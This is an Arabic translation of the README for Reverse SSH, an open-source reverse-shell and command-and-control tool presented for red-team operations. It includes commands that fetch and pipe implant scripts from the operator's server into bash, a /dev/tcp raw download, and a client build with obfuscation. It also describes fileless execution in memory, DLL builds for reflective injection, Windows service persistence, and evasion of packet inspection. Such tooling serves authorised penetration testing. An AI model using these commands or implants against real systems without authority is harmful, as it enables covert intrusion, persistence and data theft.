
أداة إدارة **reverse shell** تعتمد على SSH مع دعم أصلي لـ SCP/SFTP، وبروتوكولات نقل متعددة، وتوليد ملفات DLL لويندوز، وتنفيذ بدون ملفات لعمليات الفريق الأحمر.

(حقوق الصورة لـ https://www.instagram.com/smart.hedgehog.art/)
هل تريد استخدام SSH للقذائف العكسية؟ الآن يمكنك ذلك.
SCP و SFTP أصلية لاسترجاع الملفات من الأهدافhttp و websockets و tls وغيرهاhttps://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1
- [Reverse SSH](#reverse-ssh)
- [TL;DR](#tldr)
- [الإعداد](#setup)
- [الاستخدام الأساسي](#basic-usage)
- [الرعاة](#sponsors)
- [الأفراد](#individuals)
- [الشركات](#companies)
- [الميزات المتقدمة](#fancy-features)
- [الصلاحيات](#privileges)
- [الاتصال العكسي التلقائي](#automatic-connect-back)
- [تنزيل الشل العكسي (توليد العميل وخادم HTTP مدمج)](#reverse-shell-download-client-generation-and-in-built-http-server)
- [النقل البديل (HTTP/Websockets/TLS)](#alternate-transports-httpwebsocketstls)
- [الإكمال التلقائي لـ Bash](#bash-autocomplete)
- [توليد DLL لويندوز](#windows-dll-generation)
- [أنظمة SSH الفرعية](#ssh-subsystems)
- [الكل](#all)
- [لينكس](#linux)
- [ويندوز](#windows)
- [دمج خدمات ويندوز](#windows-service-integration)
- [دعم كامل لشل ويندوز](#full-windows-shell-support)
- [Webhooks](#webhooks)
- [Tun (VPN)](#tun-vpn)
- [التنفيذ بدون ملفات (يدعم العملاء تنزيل الملفات التنفيذية ديناميكيًا لتنفيذها كشل)](#fileless-execution-clients-support-dynamically-downloading-executables-to-execute-as-shell)
- [مخططات URI المدعومة](#supported-uri-schemes)
- [المساعدة](#help)
- [ويندوز](#windows-help)
- [SFTP](#windows-and-sftp)
- [أخطاء توليد الجلسة (0xc0000142)](#session-spawn-errors-0xc0000142)
- [الخادم الذي تم تشغيله باستخدام `--insecure` لا يزال يعطي `Failed to handshake`](#server-started-with---insecure-still-has-failed-to-handshake)
- [المقدمة مقابل الخلفية](#foreground-vs-background)
- [التبرعات، الدعم، أو رد الجميل](#donations-support-or-giving-back)
## TL;DR
### الإعداد
يوصى باستخدام إصدار Docker لأنه يتضمن الإصدار المناسب من Golang ومترجم متقاطع لنظام ويندوز.```sh
# Start the server
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="$(cat ~/.ssh/id_ed25519.pub)" -v ./data:/data reversessh/reverse_ssh
أو docker compose:```yaml services: reversessh: image: reversessh/reverse_ssh ports: - "3232:2222" environment: - EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 - RSSH_CONSOLE_LABEL=c2.label - RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL - SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY} volumes: - ./data:/data
### الاستخدام الأساسي```sh
# Connect to the server console
ssh your.rssh.server.internal -p 3232
# List all server console commands
catcher$ help
# Build a new client and host it on the in-built webserver
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25
# curl or wget this binary to a target system then execute it,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh | bash
# then we can then list what clients are connected
catcher$ ls
Targets
+------------------------------------------+-----------------------------------+
| IDs | Version |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 | |
| dummy.machine | |
| 192.168.0.11:34542 | |
+------------------------------------------+-----------------------------------+
جميع الأوامر تدعم العلم -h لتقديم المساعدة.
ثم تعمل أوامر ssh النموذجية، فقط حدد خادم rssh الخاص بك كمضيف قفز.```sh
ssh -J your.rssh.server.internal:3232 dummy.machine
ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine
ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine
scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd .
## الرعاة
شكر جزيل للأشخاص التاليين لتبرعاتهم لمشروع RSSH وجعل كل هذا العمل ممكنًا!
### الأفراد
[chikamobina](https://github.com/chikamobina) لتبرعاتهم السخية!
[wrighterase (ctrlzero)](https://github.com/wrighterase) لطلبات السحب والتبرع!
### الشركات
[Carapace](https://carapace.nz/) هي شركة استشارات أمنية مقرها نيوزيلندا تضم فريقًا موهوبًا للغاية!
[<img src="https://assets.kitploit.com/production/public/readmes/5627/b077b138b5108d69a3bcb10eea9d5f195914c9fb4653689923b3a10a1ee38a64.png">](https://carapace.nz/)
---
## الميزات المتقدمة
### الصلاحيات
يدعم خادم RSSH صلاحيات مستخدمين أساسية جدًا، حيث سيتم تعيين المستخدمين الموجودين في مجلد `data-directory`/`keys` (المحدد بواسطة `--datadir`) مثل `data-directory/keys/jim` كمستخدم لا يمكنه رؤية سوى العملاء العموميين (الموجودين في ملف authorized_controllee_keys بدون وسم `owners`، أو وسم `owners` فارغ) أو المخصصين لهم تحديدًا، مثل `owners="jim"`.
يمكن تغيير ذلك أثناء التشغيل عن طريق مستخدم يشارك الوصول إلى عميل يملكه باستخدام الأمر `access`، أو عن طريق مسؤول الخادم. افتراضيًا، سيتم وضع علامة مسؤول على أي مفتاح عام موجود في ملف `authorized_keys` للحفاظ على التوافق مع الإصدارات السابقة.
لن تستمر أي تغييرات يتم إجراؤها بواسطة أمر `access` بعد إعادة تشغيل الخادم، وسيتطلب ذلك تحرير ملف `authorized_controllee_keys` لذلك العميل المحدد.
### الاتصال التلقائي العائد
يسمح لك عميل rssh بتضمين عنوان اتصال عائد.
بشكل افتراضي، سيقوم الأمر `link` بتضمين العنوان الخارجي للخادم.
إذا كنت (لسبب ما) تقوم ببناء الثنائي يدويًا، يمكنك تحديد متغير البيئة `RSSH_HOMESERVER` لتضمينه في العميل:```sh
$ RSSH_HOMESERVER=your.rssh.server.internal:3232 make
# Will connect to your.rssh.server.internal:3232, even though no destination is specified
$ bin/client
# Behaviour is otherwise normal; will connect to the supplied host, e.g example.com:3232
$ bin/client -d example.com:3232
يمكن لخادم RSSH بناء واستضافة ملفات العميل الثنائية (أمر link). هذه هي الطريقة المفضلة لبناء وتقديم العملاء.
لكي تعمل الوظيفة، يجب وضع الخادم في مجلد bin/ الخاص بالمشروع، حيث يحتاج إلى العثور على مصدر العميل.
بشكل افتراضي، يحتوي إصدار docker على هذا البناء المناسب بالكامل، ويُوصى باستخدامه.```sh
ssh your.rssh.server.internal -p 3232
catcher$ link -h
link [OPTIONS] Link will compile a client and serve the resulting binary on a link which is returned. This requires the web server component has been enabled. --fingerprint Set RSSH server fingerprint will default to server public key --garble Use garble to obfuscate the binary (requires garble to be installed) --goarch Set the target build architecture (default runtime GOARCH) --goarm Set the go arm variable (not set by default) --goos Set the target build operating system (default runtime GOOS) --http Use http polling as the underlying transport --https Use https polling as the underlying transport --log-level Set default output logging levels, [INFO,WARNING,ERROR,FATAL,DISABLED] --lzma Use lzma compression for smaller binary at the cost of overhead at execution (requires upx flag to be set) --name Set the link download url/filename (default random characters) --no-lib-c Compile client without glibc --ntlm-proxy-creds Set NTLM proxy credentials in format DOMAIN\USER:PASS --owners Set owners of client, if unset client is public all users. E.g --owners jsmith,ldavidson --proxy Set connect proxy address to bake it --raw-download Download over raw TCP, outputs bash downloader rather than http --shared-object Generate shared object file --sni When TLS is in use, set a custom SNI for the client to connect with --stdio Use stdin and stdout as transport, will disable logging, destination after stdio:// is ignored --tls Use TLS as the underlying transport --upx Use upx to compress the final binary (requires upx to be installed) --use-kerberos Instruct client to try and use kerberos ticket when using a proxy --working-directory Set download/working directory for automatic script (i.e doing curl https://.sh) --ws Use plain http websockets as the underlying transport --wss Use TLS websockets as the underlying transport -C Comment to add as the public key (acts as the name) -l List currently active download links -o Set owners of client, if unset client is public all users. E.g --owners jsmith,ldavidson -r Remove download link -s Set homeserver address, defaults to server --external_address if set, or server listen address if not
catcher$ link --name test http://your.rssh.server.internal:3232/test
ثم يمكنك تنزيله كما يلي:```sh
wget http://your.rssh.server.internal:3232/test
chmod +x test
./test
أو يمكنك استخدام raw tcp لتحميل client binary:```sh bash -c "exec 3<>/dev/tcp/your.rssh.server.internal/3232; echo RAWtest>&3; cat <&3" > test
التنسيق لهذا هو مجرد `RAW` متبوعًا باسم الملف، أي في هذه الحالة `test`، يمكن لـ rssh إنشاء هذا تلقائيًا لك باستخدام `--raw-download`.
يدعم خادم RSSH أيضًا نهايات مسار URL `.sh` و `.py` و `.ps1` والتي ستنشئ نصًا برمجيًا يمكنك توجيهه إلى مترجم:```sh
curl http://your.rssh.server.internal:3232/test.sh | sh
يدعم كل من خادم SSH العكسي والعميل وسائل نقل متعددة في حالة حظر فحص الحزم العميقة لاتصالات SSH الصادرة من مضيف أو شبكة. يمكنك إما تحديد نظام الاتصال العكسي يدويًا عن طريق تحديده كـ url في العميل.
مثال```sh ./client -d ws://your.rssh.server:3232
أو عن طريق دمجها باستخدام الأمر `link`.```sh
ssh your.rssh.server -p 3232 link --ws --name test
خادم RSSH يحتوي على الأمر autocomplete الذي يتكامل بشكل جيد مع bash بحيث يمكنك الحصول على الإكمال التلقائي عندما لا تستخدم وحدة التحكم في الخادم.
لتثبيتها، كل ما عليك فعله هو:```sh
ssh your.rssh.server.internal -p 3232 autocomplete --shell-completion your.rssh.server.internal:3232
وسيعيد هذا إكمالًا تلقائيًا يمكن إضافته إلى ملف `.zshrc` أو `.bashrc`
مثل```sh
_RSSHCLIENTSCOMPLETION()
{
local cur=${COMP_WORDS[COMP_CWORD]}
COMPREPLY=( $(compgen -W "$(ssh your.rssh.server.internal -p 3232 autocomplete --clients)" -- $cur) )
}
_RSSHFUNCTIONSCOMPLETIONS()
{
local cur=${COMP_WORDS[COMP_CWORD]}
COMPREPLY=( $(compgen -W "$(ssh your.rssh.server.internal -p 3232 help -l)" -- $cur) )
}
complete -F _RSSHFUNCTIONSCOMPLETIONS ssh your.rssh.server.internal -p 3232
complete -F _RSSHCLIENTSCOMPLETION ssh -J your.rssh.server.internal:3232
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 exec
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 connect
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 listen -c
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 kill
تمكينك من إكمال الأوامر مباشرة من الطرفية الخاصة بك:```sh
ssh -J your.rssh.server.internal:3232
### إنشاء مكتبة DLL لنظام ويندوز
يمكنك تجميع العميل كمكتبة DLL ليتم تحميلها باستخدام شيء مثل [Invoke-ReflectivePEInjection](https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1). وهذا مفيد عندما تريد الحقن بدون ملفات لعميل rssh.
سيحتاج هذا إلى مترجم متصالب إذا كنت تفعل ذلك على لينكس، استخدم `mingw-w64-gcc`، وهو مضمن في إصدار docker.```bash
# Using the link command
catcher$ link --goos windows --shared-object --name windows_dll
http://your.rssh.server.internal:3232/windows_dll
# If building manually
CC=x86_64-w64-mingw32-gcc GOOS=windows RSSH_HOMESERVER=192.168.1.1:2343 make client_dll
يدعم بروتوكول SSH استدعاء الأنظمة الفرعية باستخدام العلم -s. في RSSH، يتم إعادة استخدام هذا لتوفير أوامر خاصة للمنصات، ودعم sftp.
list قائمة الأنظمة الفرعية المتاحة
sftp: تشغيل معالج sftp لنقل الملفات
setgid: محاولة تغيير المجموعة
setuid: محاولة تغيير المستخدم
service: تثبيت أو إزالة ملف rssh الثنائي كخدمة ويندوز، يتطلب صلاحيات إدارية
مثال```sh
ssh -J your.rssh.server.internal:3232 test-pc.user.test-pc -s service --install
### تكامل خدمة Windows
يدعم العميل الثنائي RSSH التشغيل ضمن خدمة Windows ولن ينتهي وقته بعد 10 ثوانٍ. وهذا رائع لإنشاء خدمات إدارة دائمة.
### دعم كامل لقشرة Windows
تواجه معظم القذائف العكسية لنظام Windows صعوبة في إنشاء بيئة قشرة تدعم تغيير الحجم والنسخ واللصق وجميع الميزات الأخرى التي نحبها جميعًا.
يستخدم هذا المشروع `conpty` في الإصدارات الأحدث من Windows، ومكتبة `winpty` (التي تفك ضغطها ذاتيًا) في الإصدارات الأقدم. وهذا يعني أن جميع إصدارات Windows تقريبًا ستمنحك قشرة جيدة.
### Webhooks
يمكن لخادم RSSH إرسال طلبات HTTP خام تم تعيينها باستخدام أمر `webhook` من واجهة الطرفية.
قم أولاً بتمكين webhook:```bash
$ ssh your.rssh.server.internal -p 3232
catcher$ webhook --on http://localhost:8080/
ثم افصل الاتصال، أو قم بتوصيل عميل، سيؤدي ذلك إلى إصدار طلب POST بالتنسيق التالي.```bash
$ nc -l -p 8080
POST /rssh_webhook HTTP/1.1
Host: localhost:8080
User-Agent: Go-http-client/1.1
Content-Length: 165
Content-Type: application/json
Accept-Encoding: gzip
{"Status":"connected","ID":"ae92b6535a30566cbae122ebb2a5e754dd58f0ca","IP":"[::1]:52608","HostName":"user.computer","Timestamp":"2022-06-12T12:23:40.626775318+12:00"}%
كملاحظة إضافية، يرجى استخدام نقطة النهاية `/slack` إذا كنت تقوم بتوصيل هذا إلى Discord.
### Tun (VPN)
يدعم كل من RSSH و SSH إنشاء واجهات tuntap التي تسمح لك بتوجيه حركة المرور وإنشاء VPN شبه افتراضي. يتطلب الأمر إعدادًا أكثر قليلاً من مجرد توجيه محلي أو بعيد (`-L`، `-R`)، ولكن في هذا الوضع يمكنك إرسال حزم `UDP` و `ICMP`.
#### إشعار مهم
إذا اتصلت بعميل RSSH ضار، فسيكون قادرًا على الاتصال مرة أخرى بجهاز النفق الخاص بك. لذلك من المهم عدم تمكين التوجيه، وإما وضع قواعد جدار حماية لمنع أي اتصالات بالجهاز المحلي، أو تشغيل هذا من داخل حاوية/netns.
قم بتثبيت عميل على جهاز بعيد، لن يعمل هذا إذا كان عميل RSSH الخاص بك على نفس المضيف الذي يوجد به جهاز tun الخاص بك.```sh
sudo ssh -J your.rssh.server.internal:3232 user.wombo -w 0:any
sudo ip link set dev tun0 up
sudo ip route add 0.0.0.0/0 dev tun0
هذا له بعض القيود، فهو قادر فقط على إرسال UDP/TCP/ICMP، وليس أي بروتوكولات طبقة 3 عشوائية. ICMP هو أفضل جهد وقد يستخدم أداة ping للمضيف البعيد، لأن مآخذ ICMP لها امتيازات على معظم الأجهزة. كما أنه لا يدعم أجهزة tap، مثل VPN الطبقة 2، لأن ذلك يتطلب وصولاً إدارياً.
عند تحديد الملف التنفيذي الذي يجب أن يشغله الثنائي rssh، سواء عند الاتصال بجلسة PTY كاملة أو التنفيذ الخام، يدعم العميل مخططات URI لتنزيل الملفات التنفيذية خارج المضيف.
على سبيل المثال.```sh connect --shell https://your.host/program <rssh_client_id> ssh -J your.rssh.server:3232 <rssh_client_id> https://your.host/program
#### مخططات URI المدعومة
`http/https`: تنزيل ويب خالص
`rssh`: تنزيل عبر خادم rssh
سيقوم خادم rssh بتقديم المحتوى من دليل `downloads` في دليل عمل الملفات التنفيذية.
ستستخدم كلتا الطريقتين بشكل انتهازي [memfd](https://man7.org/linux/man-pages/man2/memfd_create.2.html) الذي لن يكتب أي ملفات تنفيذية على القرص.
# المساعدة
## ويندوز
### SFTP
بسبب قيود SFTP (أو بالأحرى المكتبة التي أستخدمها له). تحتاج المسارات إلى جهد أكبر قليلاً على ويندوز.```sh
sftp -r -J your.rssh.server.internal:3232 test-pc.user.test-pc:'/C:/Windows/system32'
لاحظ وجود / قبل الحرف الأول.
تحت بعض ظروف التنفيذ، قد يفشل الاتصال بعميل RSSH على windows دون ظهور خطأ.```sh catcher$ connect windows-system Session has terminated.
سجلات العميل:```sh
2025/08/24 18:25:39 [client] INFO session.go:52 func16() : Session got request: "shell"
2025/08/24 18:25:39 [client] INFO shell_windows.go:137 runWithConpty() : New process with pid 3427 spawned
2025/08/24 18:25:39 [client] INFO session.go:122 func16() : Session disconnected
هناك سببان شائعان لذلك، الأول هو أن مضاد الفيروسات قام بقتل الـ PowerShell المنشأ، والآخر 0xc0000142 هو عندما لا تملك العملية الناتجة أذونات الوصول إلى محطة Windows أو سطح المكتب المصدر.
لتحديد أي منهما يسبب هذه المشكلة، قم بتنفيذ أي أمر بدون pty:```sh
ssh -J rssh windows-system cmd /c dir
exit status 0xc0000142
إذا رأيت رمز الخطأ `0xc0000142`، فحاول تشغيل `CMD.exe` مع فرض تخصيص pty (`-t`):```sh
ssh -t -J rssh windows-system CMD.exe
هذا يجب أن يبدأ قشرة تفاعلية.
--insecure لا يزال يظهر Failed to handshakeإذا تم إنشاء العميل الثنائي باستخدام الأمر link، فإن هذا العميل يحتوي على بصمة المفتاح العام للخادم مضمنة افتراضيًا. إذا فقدت مفتاح الخادم الخاص، فلن يتمكن العملاء من الاتصال بعد الآن.
يمكنك أيضًا إنشاء عملاء باستخدام link --fingerprint <بصمة الأصبع هنا> لتحديد بصمة الأصبع، ولا توجد حاليًا طريقة لتعطيل هذا حسب الإصدار 1.0.13.
افتراضيًا، ستعمل العملاء في الخلفية ثم يخرج العملية الأم، وسيتم منح العملية الفرعية stdout/stderr للعمليات الأم حتى تتمكن من رؤية المخرجات. إذا كنت بحاجة إلى تصحيح أخطاء عميلك، استخدم العلامة --foreground.
أسهل طريقة لرد الجميل لمشروع RSSH هي من خلال العثور على الأخطاء، فتح طلبات الميزات، والإعلان الشفهي عنه للأشخاص الذين تعتقد أنهم سيجدونه مفيدًا!
ومع ذلك، إذا كنت ترغب في تقديم شيء لي مباشرةً، يمكنك القيام بذلك إما عبر Kofi أو Github Sponsors (تحت "Sponsor this Project" على الجانب الأيمن). أو التبرع لي عن طريق الإرسال إلى أي من المحافظتين التاليتين:
Monero (XMR):
8A8TRqsBKpMMabvt5RxMhCFWcuCSZqGV5L849XQndZB4bcbgkenH8KWJUXinYbF6ySGBznLsunrd1WA8YNPiejGp3FFfPND
Bitcoin (BTC):
bc1qm9e9sfrm7l7tnq982nrm6khnsfdlay07h0dxfr